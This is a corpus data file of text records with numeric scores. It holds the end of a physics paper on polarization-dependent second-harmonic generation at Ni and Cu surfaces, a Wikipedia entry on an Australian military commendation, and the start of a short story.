"24), (27) and (28) and the experimental results for $I_{\\alpha }(p-SH)$ one can determine the remaining two relative [*phases*]{} of the three tensor elements. ",
"We find good agreement with experiment, if we use (for Ni) $$\\chi_{xzx}^{(2)}\\;=\\;\\chi_{zzz}^{(2)}e^{i1.95\\pi}\\;,$$ and $$\\chi_{zxx}^{(2)}\\;=\\;\\chi_{zzz}^{(2)}e^{i0.505\\pi}\\;,$$ see results presented in Fig. ",
"3. ",
"Thus, we have completely determined the absolute ratios and the relative phases of all non-vanishing elements of the nonlinear tensor $\\chi^{(2)}_{ijl}$ for surfaces of fcc crystals.",
"\n\nIt is important to note, that this procedure shows how the polarization dependence of the SHG yield can be used to determine the various tensor elements of the nonlinear susceptibility $\\chi_{ijl}^{(2)}$. Furthermore, it shows also how in turn the microscopic susceptibility $\\chi_{ijl}^{(2)}$ determines the polarization dependence of the SHG yield.",
"\n\nAnother interesting fingerprint of the electronic structure is the behavior of $I_{\\varphi}(s-SH)$. While it follows straightforwardly from symmetry and matrix elements, see Eq. (",
"14), that $$I_{p}(s-SH)\\;\\approx\\;I_{s}(s-SH)\\;\\approx\\;0\\;,$$ the behavior of the ratio $I_{\\varphi=45^{\\circ}}(s-SH)/I_{s}(p-SH)$, in particular the observation [@klaus; @klausdiss] $$(\\frac{I_{\\varphi=45^{\\circ}}(s-SH)}{I_{s}(p-SH)})_{Cu}\\;>\\;\n(\\frac{I_{\\varphi=45^{\\circ}}(s-SH)}{I_{s}(p-SH)})_{Au}$$ requires a more careful theoretical analysis, including in the discussion of $\\chi^{(2)}_{ijl}$ not only the dipole matrix elements, but again also the energy denominators. ",
"Note, $\\chi ^{(2)}_{ijl}$ can be written as $$\\chi _{ijl}^{(2)}\\;=\\;const.",
"\n\\sum_{{\\bf k},{\\bf k^{\\prime}},{\\bf k^{\\prime \\prime}}}\n\\langle k\\mid i\\mid k^{\\prime }\\rangle\\langle k^{\\prime }\\mid j\\mid\nk^{\\prime \\prime }\\rangle\n\\langle k^{\\prime \\prime }\\mid l\\mid k\\rangle\n\\frac{\\chi^{(1)}_{{\\bf k^{\\prime \\prime }k^{\\prime}}}\n-\\chi^{(1)}_{{\\bf k^{\\prime }k}}}\n{E_{\\bf k^{\\prime \\prime}}-E_{\\bf k}-2\\hbar \\omega}\\;,$$ where $\\chi ^{(1)}$ denotes essentially the linear susceptibility, but without matrix elements [@hub]. ",
"Thus, $$F_{{\\bf k},{\\bf k^{\\prime}},{\\bf k^{\\prime\n\\prime}}}(\\omega , 2\\omega )\\;\n=\\;const.\\frac{\\chi^{(1)}_{{\\bf k^{\\prime \\prime }k^{\\prime}}}\n-\\chi^{(1)}_{{\\bf k^{\\prime }k}}}\n{E_{\\bf k^{\\prime \\prime}}-E_{\\bf k}-2\\hbar \\omega}\\;.$$ Hence, $I_{\\alpha }(s -SH)$ reveals in addition to the matrix elements the behavior of the function $F_{k k^{\\prime } k^{\\prime\n\\prime }}(\\omega ,2\\omega )$ involving the density of states. ",
"Note, the $\\omega $ dependence must follow from $F_{k k^{\\prime } k^{\\prime\n\\prime }}(\\omega ,2\\omega )$ and will be more general than the $\\omega $ dependence deduced from the jellium.\\\nTo understand now the result given in Eq. (",
"31), note that $(I_{\\varphi=45^{\\circ}}(s-SH))_{Cu}\\;>\\;(I_{\\varphi=45^{\\circ}}(s-SH))_{Au}$, since the density of $p$ states above $\\varepsilon _{F}$ is larger for Cu, while $(I_{s}(p-SH))_{Cu}\\;<\\;(I_{s}(p-SH))_{Au}$, since the density of $d$ states at $\\hbar \\omega $ below $\\varepsilon _{F}$ is larger for Au [@papa].",
"\n\nNote, the ratio $$\\frac{I_{\\varphi=45^{\\circ}}(s-SH)}{I_{s}(p-SH)}$$ probes essentially the density of $d$ electrons at an energy of $\\hbar\n\\omega $ below the Fermi-level and of $p$ states above $\\varepsilon _{F}$, see for illustration Fig. ",
"2. ",
"As a consequence, it follows from Eqs. (",
"16) and (17) that the ratio $\\chi^{(2)}_{zxx}/\\chi^{(2)}_{xzx}$ which describes the possibility of $d$ electron excitations by optical transitions increases from the jellium type metal Al via the noble metals Au and Cu to the transition metal Ni [@klaus; @klausdiss].",
"\n\nThus, it is interesting to note that the combination of the symmetry properties of the (real) transition matrix elements and the density of states effects will account for a quantitative understanding of the SHG yield. ",
"Furthermore, since the tensor elements $\\chi ^{(2)}_{ijl}$ are complex quantities, their phases cause important interference contributions to the coherent superposition of the partial SHG yields resulting from the single tensor elements alone. ",
"An [*electronic*]{} theory along the lines of Pustogowa [*et al.*]{}",
" [@hub] is required for the calculation of the full complex SHG tensor $\\chi ^{(2)}_{ijl}$ to explain the experiments quantitatively and in detail. ",
"It is clear from Eqs. (",
"10) – (17) that experiments have to be carried out for several optical geometries to sort out for comparison with theory the tensor elements and to allow for a complete determination of their [*absolute values*]{} and [*phases*]{}.",
"\n\nThe physics described by our theory is evident also from the results shown in table I. Here, we have estimated the dipole matrix elements which determine largely $\\chi^{(2)}_{ijl}$ by using atomic $s(p)$ and $d$-electron wavefunctions. ",
"Decomposing $\\chi^{(2)}_{ijl}$ according to Eq. (",
"6), it follows $$\\chi^{(2,s)}_{zzz}\\;\\gg\\;\\chi^{(2,s)}_{zxx},$$ since $\\langle s\\;\\mid x\\mid\\;s\\rangle\\;\\approx\\;0$, and $$\\chi^{(2,d)}_{zzz}\\;\\stackrel{>}{\\sim}\\;\\chi^{(2,d)}_{zxx},$$ since $\\langle d\\;\\mid z\\mid\\;d\\rangle\\;\\stackrel{>}{\\sim}\n\\;\\langle d\\;\\mid x\\mid\\;d\\rangle $. ",
"Generally, for transition metals, $\\chi^{(2,d)}_{ijl}$ is largest by far. ",
"For noble metals, $\\chi^{(2,d)}_{ijl}$ begins to dominate over $\\chi^{(2,s)}_{ijl}$ as $\\hbar \\omega $ increases and becomes larger than the energy distance of the $d$ states from the Fermi energy $\\varepsilon_{F}$, $\\hbar\\omega \\;>\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$. Furthermore, approximately $I_{p}(p-SH)$ is essentially given by $\\chi^{(2)}_{zzz}$ and $\\chi^{(2)}_{xzx}$, whereas $I_{s}(p-SH)$ is determined by $\\chi^{(2)}_{xzx}$ alone. ",
"In the case of $s$-polarized SH light $I_{s}(s-SH) \\; = \\;I_{s}(p-SH)\\; = \\;0$. And $I_{\\varphi =\\pi/4}(s-SH)$ is given by $\\chi^{(2)}_{xzx}$ alone. ",
"Hence, using table I, we find quite generally that:\\\n(a) for [*noble metals*]{} such as Cu, Au, Ag\\\n$I_{p}(p-SH)\\;\\gg\\;I_{s}(p-SH)\\;,\\;\\;$ if $\\hbar\\omega \\;<\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$\\\n$I_{p}(p-SH)\\;\\approx\n\\;\\mid\\chi^{(2,s)}_{ijl}\\mid^{2}\\;+\\;\\mid\\chi^{(2,int)}_{ijl}\\mid^{2}\\;,\\;\\;$ if $\\hbar\\omega \\;>\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$.\\\n$I_{p}(p-SH)\\;\\longrightarrow\\;I^{trans. ",
"met.}_{p}(p-SH)\\;,\\;\\;\n\\hbar \\omega $ large.\\\n\\\n(b) for [*transition metals*]{} such as Ni, Co, Fe, Cr\\\n$I(p-SH)\\;\\approx \\;\\mid\\chi^{(2,d)}_{ijl}\\mid^{2}$,\\\nand\\\n$I_{p}(p-SH)\\;\\stackrel{>}{\\sim} \\;2I_{s}(p-SH)$.\\\nThis completes then the theoretical analysis of the polarization dependence of the SHG yield and shows how it reveals the electronic structure at surfaces and interfaces.\\\n\\\n[**III. ",
"Results and Discussion**]{}\n\nTo demonstrate the different polarization dependence of the SHG yield for noble metals and transition metals, we show in Fig. ",
"3 numerical results for the polarization dependence of the $p$ polarized SHG yield $I_{\\varphi}(p-SH)$. Using Eq. (",
"24), we calculate $I_{\\varphi}(p-SH)$ for Ni and Cu where the $p$-polarized SHG-yield at $p$-polarized incident polarization has been normalized to unity. ",
"The angle $\\varphi $ characterizes the polarization of the incident light. ",
"We show results for Ni and Cu at angle of incidence $\\theta \\;=\\;45\\;^{\\circ}$ corresponding to the experimental situation [@klaus; @klausdiss]. ",
"The absolute ratios and relative phases of the tensor elements are listed in table III as well as the used linear optical constants at frequencies $\\omega $ and 2$\\omega $.",
"\n\nFirst, we refer to results for Ni given by the topmost curve. ",
"These are typical for [*transition metals*]{}. ",
"For Ni we used an incident light wavelength of 603 nm. ",
"The results are in perfect agreement with experiment [@klaus; @klausdiss]. ",
"Despite the fact that we have fitted the phases $\\varphi_{1}$ and $\\varphi_{2}$ to experiment this is remarkable, since the ratio $\\mid\\chi_{xzx}^{(2)}/\\chi_{zzz}^{(2)}\\mid$ has been obtained using only the matrix elements calculated with atomic wave functions. ",
"As mentioned the line shape is characteristical for transition metals. ",
"Similar results are expected for Cr and for Fe and Co. The SHG yield for $s$ and $p$ polarized incident light is nearly the same in transition metals due to the [*isotropy*]{} of the transition matrix elements for $d$ electrons $$\\langle d\\mid z\\mid d\\rangle\\;\\approx\\;\\langle d\\mid x\\mid d\\rangle.$$ Slight intensity minima occur at polarization angles of 45$^{\\circ}$ and 135 $^{\\circ}$. These arise from the interference of the tensor elements $\\chi _{ijl}^{(2)}$ and the Fresnel factors, see Eq. (",
"13). ",
"The intensity profile is always symmetric around $\\varphi \\;=\\;90^{\\circ }$ and for transition metals approximately symmetric around $\\varphi\\;=\\;45^{\\circ}$ and $\\varphi\\;=\\;135^{\\circ}$.\n\nSecondly, to demonstrate the typical frequency dependence of the SHG yield as a function of incident polarization for [*noble metals*]{} (N. M.), results for Cu are given in Fig. ",
"3 by the curves (a), (b), (c) . ",
"Note, the incident light polarization dependence of the SHG yield is found to be very different for noble metals such as Cu than for transition metals (T. M.). ",
"The $\\varphi $ = 90 $^{\\circ}$ symmetry survives. ",
"The $p$-polarized SHG yield falls off to one fourth or less at incident $s$-polarization compared to its (normalized) value at incident $p$ polarization, due to the strong [*anisotropy*]{} of the transition matrix elements for $s$ electrons $$\\langle s\\mid z\\mid s\\rangle\\;\\gg\\;\\langle s\\mid x\\mid s\\rangle\\;\\approx\\;0.$$ The Cu curves (a) and (c) refer to wavelenghts exciting and non-exciting the Cu $d$ electrons, respectively. ",
"The results are in very good agreement with experimental ones for the frequency dependent SHG yield obtained for Cu by Petrocelli [*et al.*]{}",
" [@petro]. ",
"While the curve (a), which is for an incident light wavelength of 516.6 nm, still shows shallow minima at 63 $^{\\circ}$ and 117 $^{\\circ}$, the curve (c), which is for an incident light wavelength of 652.5 nm, falls off monotonously to zero at incident $s$-polarization (90 $^{\\circ}$). ",
"These minima are due to the phases of the complex nonlinear tensor elements giving rise to interference contributions as well as due to the complex optical constants. ",
"These interferences will be absent if the $d$ band of Cu can no longer be excited for larger wavelenghts. ",
"Note, the shape of curve (a) would also be characteristic of Au at 603 nm as is observed in the experiment by Böhmer [*et al.*]{}",
" [@klaus; @klausdiss]. ",
"These results indicate that $$(I_{s}(p-SH))_{N.M.}\\;\\stackrel{\\omega }{\\longrightarrow }\n\\;(I_{s}(p-SH))_{T.M.}$$ for increasing frequency $\\omega $ as claimed previously on theoretical grounds.",
"\n\nNote, that experimentally $I_{s}(p-SH)$ is larger for Au than for Cu. ",
"The experiments [@klaus; @klausdiss] are performed for $\\hbar\\omega\\;=\\;2.056$ eV. Then, $\\hbar\\omega\n\\;>\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$, according to bandstructure calculations by Papaconstantopoulos [@papa] yielding $(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})\\;\\approx\\; 1.8$ eV for Au and 1.9 eV for Cu. ",
"Hence, one would expect for both metals Cu and Au already larger values for $I_{s}(p-SH)$. However, note that due to many-body band narrowing $(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})$ is for both metals somewhat larger than what results from bandstructure calculations. ",
"However, since $(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})_{Au}\n\\;<\\;(\\varepsilon_{F}\\;-\\;\\varepsilon_{d}^{max})_{Cu}$ one also expects in agreement with experiment $$(I_{s}(p-SH))_{Au}\\;>\\;(I_{s}(p-SH))_{Cu}$$ at energy $\\hbar \\omega \\;=\\;2.056 eV$.\n\nThe curve (b) corresponds also to Cu at a wavelength of 652.5 nm as curve (c). ",
"For this curve (b), however, only the optical constants have been adapted to this wavelength, whereas the nonlinear tensor elements of wavelength 516.6 nm were kept as in curve (a). ",
"At $\\varphi\\;=\\;90^{\\circ }$, this curve reaches the same height as the Cu curve (a), but it shows deep minima at $\\varphi\\;=\\;54^{\\circ }$ and at $\\varphi \\;=\\;126^{\\circ }$. ",
"Thus, this curve (b) clearly demonstrates that for the correct theoretical description of the frequency and polarization dependence of the SHG yield the frequency dependence of the nonlinear tensor elements is as essential as the frequency dependence of the optical constants at frequencies $\\omega $ and 2$\\omega $.",
"\n\nIn summary, the polarization dependence of the SHG-yield shows characteristic curve shapes which allow for a clear distinction between the electronic structure of noble metal and transition metal surfaces. ",
"As claimed, SHG is simply a very sensitive probe of the electronic structure.",
"\n\nOne very interesting application of our theory for the frequency dependence of the SHG-yield is to transition metal oxides [@note2]. ",
"Note, late 3$d$ transition metal oxides, in particular NiO, are charge transfer insulators. ",
"NiO has a gap of 4 eV separating the filled oxygen $2p$ band from the empty upper Hubbard portion of the Ni 3$d$ band, see Fig. ",
"4 for illustration. ",
"These transition metal oxides are of particular interest due to the strong electron correlations. ",
"Thus, the frequency dependent SHG could give some important information about the energy gap of the transition metal oxides and the width of the upper Hubbard band and thus about correlations. ",
"Fig. ",
"4 illustrates the electronic structure of NiO, for example.",
"\n\nAccordingly, one expects for example for NiO at $\\hbar \\omega \\;<\\;\\Delta $, where $\\Delta $ refers to the charge transfer gap, no SH yield. ",
"As a consequence, oxidization of the Ni surface (in air) would not essentially change the experimental results for Ni, since the Ni below the oxidized surface would mainly contribute to the SHG yield. ",
"Similarly, this conclusion can also be drawn for Cu. ",
"Actually, for Cu, the irrelevance of the oxide layer was shown by Petrocelli [*et al.*]{}",
" [@petro] from the agreement of the experimental data in air and in ultrahigh vacuum. ",
"Furthermore, since the SHG-yield would disappear if $\\hbar \\omega \\;\\stackrel{>}{\\sim} \\;\\Delta $ and $\\hbar \\omega \\;\\geq \\;W $, nonlinear optics could be used to determine the width $W$ of the upper Hubbard band.",
"\n\nWe have neglected hybridization between the oxygen 2$p$ states and the majority 3$d$ states of Ni. ",
"However note that at $\\varepsilon_{F}$ and above only minority $d$ states are present.",
"\n\nIn view of the different [*magnetic*]{} properties of the NiO-vacuum interface and of the Ni-NiO interface, the nonlinear magneto-optical Kerr-effect (NOLIMOKE) may provide essential additional information regarding the electronic structure and the location of the electronic contribution to the SHG signal. ",
"Very interestingly, the nonlinear magneto-optical Kerr effect should vary characteristically with light frequency $\\omega $, since the $d$-electron spin polarization varies throughout the $d$-electron bands of Ni, whereas no nonlinear Kerr-signal is expected for antiferromagnetic NiO. Thus, in the range of optical frequencies, only minority $d$-electrons of Ni at the Ni-NiO interface contribute to the NOLIMOKE signal.",
"\n\nFinally, it is of interest to apply our theory also to surface and interface states having generally different $s,p$ and $d$ characters and spin-polarization.",
"\n\nWe have neglected contributions to the SHG yield of higher than electric dipole order. ",
"However, we estimate them to be smaller by a factor of $\\overline{\\alpha\n }^{2} \\approx (1/137)^{2} = 5 \\cdot 10^{-5}$ for the magnetic dipole and of (2$\\pi a_{0}/\\lambda )^{2} \\approx 2.5\\cdot 10^{-7}$ for the electric quadrupole contribution. ",
"Here, $\\overline{\\alpha }$ denotes the fine structure constant, and $a_{0}$ is Bohr’s radius. ",
"The resulting smallness cannot be compensated by the skin depth factor. ",
"The implied interface sensitivity of SHG is supported by the agreement of our theory with experiment.",
"\n\nThe $\\omega $ dependence of the SHG yield follows from the function $F_{k k^{\\prime } k^{\\prime \\prime }}(\\omega ,2\\omega )$, see Eq. (",
"32). ",
"It could be interesting to sort out this in limiting cases in order to compare with results from continuum electrodynamics and jellium approximation [@petro].",
"\n\nIn summary, our theory shows that the nonlinear optical response at transition and noble metal surfaces and interfaces is a sensitive fingerprint of the electronic structure. ",
"Both, matrix elements and the density of states affect characteristically the intensity of the SHG 2$\\omega $ reflected light. ",
"While a more detailed numerical analysis is desirable, it will not change our qualitative arguments based on general physical facts.",
"\n\nThe authors gratefully acknowledge many stimulating discussions with Professor E. Matthias.",
"\n\nN. Bloembergen, R. K. Chang, S. S. Jha, and C. H. Lee, Phys. ",
"Rev. [**174**]{}, 813 (1968); P. Guyot-Sionnest, W. Chen, and Y. R. Shen, Phys. ",
"Rev. B [**33**]{}, 254 (1986). ",
"A. Liebsch and W. L. Schaich, Phys. ",
"Rev. B [**40**]{}, 5401 (1989). ",
"W. Hübner, Phys. ",
"Rev. B [**42**]{}, 11553 (1990); U. Pustogowa, W. Hübner, and K. H. Bennemann, Phys. ",
"Rev. B [**48**]{}, 8607 (1993). ",
"G. Petrocelli, S. Martellucci, and R. Francini, Appl. ",
"Phys. ",
"A [**56**]{}, 263 (1993). ",
"K. Böhmer, E. Matthias, W. Hübner, and K. H. Bennemann, to be published (1994). ",
"K. Böhmer, thesis (FU Berlin, 1994). ",
"At the surface and at interfaces also transitions with $\\Delta m =0,\\pm 1$ and $\\Delta l =0,\\pm 2$ are allowed since the perpendicular inversion symmetry is broken. ",
"$\\chi _{ijl}^{(2)}\\;=\\;const\n\\sum_{{\\bf k},{\\bf k^{\\prime }},{\\bf k^{\\prime \\prime }}}\n\\langle k\\mid i\\mid k^{\\prime }\\rangle\\langle k^{\\prime }\\mid j\\mid\n k^{\\prime \\prime }\\rangle\n\\langle k^{\\prime \\prime }\\mid l\\mid k\\rangle\n\\frac{\\chi^{(1)}_{{\\bf k^{\\prime \\prime }k^{\\prime}}}\n-\\chi^{(1)}_{{\\bf k^{\\prime }k}}}\n{E_{\\bf k^{\\prime \\prime}}-E_{\\bf k}-2\\hbar \\omega}$ see also below and details in ref. ",
"3. ",
"J. E. Sipe, D. J. Moss, and H. M. van Driel, Phys. ",
"Rev. B [**35**]{}, 1129 (1987). ",
"P. B. Johnson and R. W. Christy, Phys. ",
"Rev. B [**9**]{}, 5056 (1974). ",
"D. A. Kleinman, Phys. ",
"Rev. [**126**]{}, 1977 (1962). ",
"D. A. Papaconstantopoulos, [*Handbook of the Bandstructure of Elemental Solids*]{} (Plenum 1986). ",
"Ni forms in air a thin antiferromagnetic and passivating oxide on its surface, probably two monolayers in thickness. ",
"E. D. Palik (Ed.), [*",
"Handbook of Optical Constants in Solids*]{}, Academic, New York (1985).",
"\n\n $\\;\\;\\;\\;\\;\\;\\;$matrix element $\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;$ value\n ------------------------------------------------------------------------- -------------------------------------------------------\n $\\langle 4s\\mid x\\pm iy\\mid 4s\\rangle $ $0$\n $\\langle 4s\\mid z\\mid 4s\\rangle $ $-\\frac{a_{B}}{Z}$\n $\\langle 4p_{m=\\pm 1}\\mid z\\mid 4p_{m=\\pm 1}\\rangle $ $-\\frac{69}{16}\\frac{a_{B}}{Z}$\n $\\langle 4p_{m=0}\\mid z\\mid 4p_{m=0}\\rangle $ $-\\frac{69}{8}\\frac{a_{B}}{Z}$\n $\\langle 3d_{m=\\pm 2}\\mid z\\mid 3d_{m=\\pm 2}\\rangle $ $-\\frac{105}{64}\\frac{a_{B}}{Z}$\n $\\langle 3d_{m=\\pm 1}\\mid z\\mid 3d_{m=\\pm 1}\\rangle $ $-\\frac{105}{32}\\frac{a_{B}}{Z}$\n $\\langle 3d_{m=0}\\mid z\\mid 3d_{m=0}\\rangle $ $-\\frac{105}{32}\\frac{a_{B}}{Z} $\n $\\langle 3d_{m=0}\\mid z\\mid 4s\\rangle $ $0.7005\\frac{\\sqrt{5}}{16}\\frac{a_{B}}{Z}$\n $\\langle 4p_{m=\\pm 1}\\mid x\\pm iy\\mid 4p_{m=0} \\rangle $ $-\\frac{69}{8\\sqrt{2}}\\frac{a_{B}}{Z} $\n $\\langle 4p_{m=0}\\mid x\\pm iy\\mid 4p_{m=\\mp 1}\\rangle $ $-\\frac{69}{8\\sqrt{2}}\\frac{a_{B}}{Z}$\n $\\langle 3d_{m=\\pm 2}\\mid x\\pm iy\\mid 3d_{m=\\pm 1}\\rangle $ $-\\frac{105}{32}\\frac{a_{B}}{Z }$\n $\\langle 3d_{m=\\mp 1}\\mid x\\pm iy\\mid 3d_{m=\\mp 2}\\rangle $ $-\\frac{105}{32}\\frac{a_{B}}{Z} $\n $\\langle 3d_{m=\\pm 2}\\mid x\\pm iy\\mid 4s\\rangle $ $\\frac{0.7005}{8}\\sqrt{\\frac{15}{2}}\\frac{a_{B}}{Z} $\n $\\langle 3d_{m=\\pm 1}\\mid x\\pm iy\\mid 3d_{m=0}\\rangle $ $0$\n $\\langle 3d_{m=0}\\mid x\\pm iy\\mid 3d_{m=\\mp 1}\\rangle $ $0$\n\n : Non-dipole transition matrix elements at the surface involved in the calculation of $\\chi ^{(2)}_{ijl}$ and $I(SH)$, respectively.",
"\n\n\\[table1\\]\n\n $\\;\\;\\;\\;\\;\\;\\;$ partial SHG yield $\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;$ value\n ----------------------------------------------------------------------------- -----------------------------------------------\n $I^{(2)(d)}_{p-in}(p-SHG) $ $25(\\frac{105}{32})^{6}(\\frac{a_{B}}{Z})^{6}$\n $I^{(2)(d)}_{s-in}(p-SHG) $ $ 9(\\frac{105}{32})^{6}(\\frac{a_{B}}{Z})^{6}$\n $I^{(2)(s)}_{p-in}(p-SHG) $ $(\\frac{a_{B}}{Z})^{6} $\n $I^{(2)(s)}_{s-in}(p-SHG) $ $0$\n $I^{(2)(int)}_{p-in}(p-SHG) $ $0.015152(\\frac{a_{B}}{Z})^{6}$\n $I^{(2)(int)}_{s-in}(p-SHG) $ $0.052908(\\frac{a_{B}}{Z})^{6}$\n\n : Values for the $p$-polarized partial SHG yields $I^{(s,d,int)}_{s,p}(p-SH)$ of $d$ and $s$ electrons and interference contributions.",
"\n\n\\[table2\\]\n\n ----------------------------------------------------- ------------------------ -------------------------- -------------------------- --------------------------\n Ni ($\\lambda $=603 nm) Cu ($\\lambda $=516.6 nm) Cu ($\\lambda $=652.5 nm) Cu ($\\lambda $=652.5 nm)\n curve (a) curve (b) curve (c)\n $\\mid\\frac{\\chi^{(2)}_{xzx}}{\\chi^{(2)}_{zzz}}\\mid$ 0.60 0.363 0.363 0.0363\n $\\mid\\frac{\\chi^{(2)}_{zxx}}{\\chi^{(2)}_{xzx}}\\mid$ 0.35 0.085 0.085 0.085\n phase $\\varphi_{1}$ 1.945 $\\pi $ 1.02 $\\pi $ 1.02 $\\pi $ 1.02 $\\pi $\n phase $\\varphi_{2}$ 0.505 $\\pi $ 1.34 $\\pi $ 1.34 $\\pi $ 1.34 $\\pi $\n $n_{1}(\\omega )$ 1.98 1.12 0.214 0.214\n $k_{1}(\\omega )$ 3.92 2.60 3.67 3.67\n $n_{2}(2\\omega )$ 2.02 1.53 1.34 1.34\n $k_{2}(2\\omega )$ 2.18 1.71 1.81 1.81\n ----------------------------------------------------- ------------------------ -------------------------- -------------------------- --------------------------\n\n : Values for the absolute values and relative phases of the nonlinear tensor elements $\\chi ^{(2)}_{ijl}$ and for the optical constants $n_{i}$, $k_{i}$ of Ni and Cu corresponding to the four curves of Fig. ",
"3 ($\\lambda $ denotes the wavelength of the incident light). ",
"The optical constants for Ni are taken from ref. ",
"\\[10\\] and for Cu from ref. ",
"\\[14\\].",
"\n\n\\[table3\\]\n"
] | {
"pile_set_name": "ArXiv"
} | [
0.0005543066072277725,
0.0006215379689820111,
0.0006893155514262617,
0.0006129318499006331,
0.0005519886617548764,
0.0005505087901838124,
0.0005896334769204259,
0.0006540913600474596,
0.0005485283327288926,
0.0005932536441832781,
0.0006271106540225446,
0.005025883205235004,
0.007224783767014742,
0.0009734737686812878,
0.007990189827978611,
0.0006746539729647338,
0.0009391900966875255,
0.000602398591581732,
0.0007471897406503558,
0.001881327130831778,
0.019817644730210304,
0.0006225146353244781,
0.0019129134016111493,
0.012539622373878956,
0.0006401936989277601,
0.0006728880689479411,
0.0006505055353045464,
0.0031414127442985773,
0.000532601261511445,
0.0005899126408621669,
0.0005899005336686969,
0.0008469005115330219,
0.0010699491249397397,
0.13756008446216583,
0.0008432631730102003,
0.0015170029364526272,
0.009076816029846668,
0.020864762365818024,
0.12895958125591278,
0.0006706630229018629,
0.3876420557498932,
0.09189911186695099,
0.06529440730810165,
0.014521181583404541,
0.0006643772940151393,
0.000867954920977354,
0.0006223566015250981,
0.0006726380088366568,
0.03521069139242172,
0.001609112019650638,
0.001468401518650353,
0.0009021091391332448,
0.0007449061959050596,
0.0007147029973566532,
0.0005499012768268585,
0.03478483483195305,
0.0008350051357410848,
0.005497094709426165,
0.0005766634130850434,
0.0006844964227639139,
0.0006550595280714333,
0.0014374795136973262,
0.0006268016877584159,
0.0007699516136199236,
0.00052359898108989,
0.004210644401609898,
0.0007364074699580669,
0.0008820455987006426,
0.0005847822758369148,
0.0007535115000791848,
0.0006927971262484789,
0.0007775416015647352,
0.0007237461977638304,
0.0010205887956544757,
0.0006202083313837647,
0.0008001941605471075,
0.0007010747794993222,
0.0007269348716363311,
0.0005446333670988679,
0.0010288170306012034,
0.11599335819482803,
0.000568158517125994,
0.0022543834056705236,
0.0032067312858998775,
0.003136479528620839,
0.0011806851252913475,
0.0006266004638746381,
0.0016696101520210505,
0.0006399225676432252,
0.0007738976273685694,
0.006823033560067415,
0.03554358705878258,
0.0006478170398622751,
0.0008141878060996532,
0.00117425003554672,
0.0006093790289014578,
0.0006461465964093804,
0.0005945321172475815,
0.007540176156908274,
0.0028695398941636086,
0.042077790945768356,
0.01185415405780077,
0.00442357687279582,
0.003495576558634639,
0.002004956593737006,
0.001185585861094296,
0.000568640127312392,
0.0007795034907758236,
0.0005289286491461098,
0.0007517528720200062,
0.0008524606237187982,
0.0006925122579559684,
0.0005844259285368025,
0.0006060482701286674,
0.0006891513476148248,
0.0010453654685989022,
0.07753884792327881,
0.0006444879691116512,
0.0018610318657010794,
0.025127002969384193,
0.010017267428338528,
0.002828361466526985,
0.000567124574445188,
0.004318874794989824,
0.0033636922016739845,
0.0010169253218919039,
0.0006624991656281054,
0.0005694754072465003,
0.0005646790377795696,
0.000593633740209043,
0.0005672716652043164,
0.0005666415090672672,
0.001164530054666102,
0.0005541137652471662,
0.000824196555186063,
0.0008858783985488117,
0.0008158478303812444,
0.0006794490618631244,
0.0005821785307489336,
0.00172010890673846,
0.04513626918196678,
0.0005956352106295526,
0.000850740703754127,
0.0007544333348050714,
0.0006435742834582925,
0.002738434122875333,
0.0005946130841039121,
0.0007681120769120753,
0.001013513538055122,
0.002363478997722268,
0.0021693219896405935,
0.0007124972762539983,
0.0009398512193001807,
0.0005706874071620405,
0.0035320864990353584,
0.0006265272968448699,
0.000572775024920702,
0.0005696944426745176,
0.0005509337061084807,
0.0011468285229057074,
0.001138279214501381,
0.0006121455226093531,
0.0005764400120824575,
0.0005815789918415248,
0.0008292015991173685,
0.0005694198189303279,
0.010708633810281754,
0.0006945086061023176,
0.0006824482115916908,
0.0006416398682631552,
0.0006248188437893987,
0.0013319510035216808,
0.00205311831086874,
0.0007586227147839963,
0.000547256728168577,
0.0006393638323061168,
0.0006312100449576974,
0.0008232758846133947,
0.0015280073275789618,
0.0010802529286593199,
0.0007071950240060687,
0.0005451002507470548,
0.0017032980686053634,
0.0008904680726118386,
0.0005523193976841867,
0.0005442122928798199,
0.0006177020259201527,
0.0005657392321154475,
0.0005175056867301464,
0.0009504171321168542,
0.0007919234922155738,
0.000724464887753129,
0.001035621389746666,
0.0006907978095114231,
0.0008161052246578038,
0.0008964902954176068,
0.0007287483313120902,
0.0009443765156902373,
0.0012429299531504512,
0.0007196475053206086,
0.0006678170757368207,
0.001015167566947639,
0.0006829456542618573,
0.033561889082193375,
0.00117425003554672,
0.0010291507933288813,
0.0007341966847889125,
0.0008376695914193988,
0.0007134165498428047,
0.0007708038319833577,
0.0007333100074902177,
0.0006691291346214712,
0.0009043214377015829,
0.0007081961957737803,
0.0006193311419337988,
0.10813672840595245,
0.24242378771305084,
0.018683969974517822,
0.0006200927309691906,
0.0006088988739065826,
0.000871880620252341,
0.0025677080266177654,
0.0010799181181937456
] | 0.008824 | 223 |
[
"Commendation for Distinguished Service\n\nThe Commendation for Distinguished Service is a military decoration awarded to personnel of the Australian Defence Force, it is awarded for the distinguished performance of duties in warlike operations. ",
"The Commendation for Distinguished Service was introduced in 1991 and replaced its Imperial equivalent, Mention in Despatches. ",
"It is the third level of distinguished service decoration in the Australian Honours System.",
"\n\nDescription\n The insignia of the Commendation for Distinguished Service is a central Federation Star on a nickel-silver row of flames that taper at each end.",
"\n The insignia is attached to an ochre-red ribbon.",
"\n\nSee also\nAustralian Honours Order of Precedence\n:Category:Recipients of the Commendation for Distinguished Service\n\nReferences\n\nExternal links\nIt's an Honour\n\nCategory:Military awards and decorations of Australia\nCategory:1991 establishments in Australia\nCategory:Awards established in 1991"
] | {
"pile_set_name": "Wikipedia (en)"
} | [
0.0006932687247171998,
0.0006060831947252154,
0.0007138793589547276,
0.0005854883347637951,
0.0008879347587935627,
0.000593831529840827
] | 0.00068 | 6 |
[
"Vacant Land....*cough*\n\nThere we were, walkin down that hill's dirt driveway. ",
"eyeballin the cement truck sittin catty wampus jes a lil up from the bottom of that hill. ",
"jes sittin thar with 2 X 6's under it's rear wheels.",
"\n\n\"thank you again for letting me come with you. ",
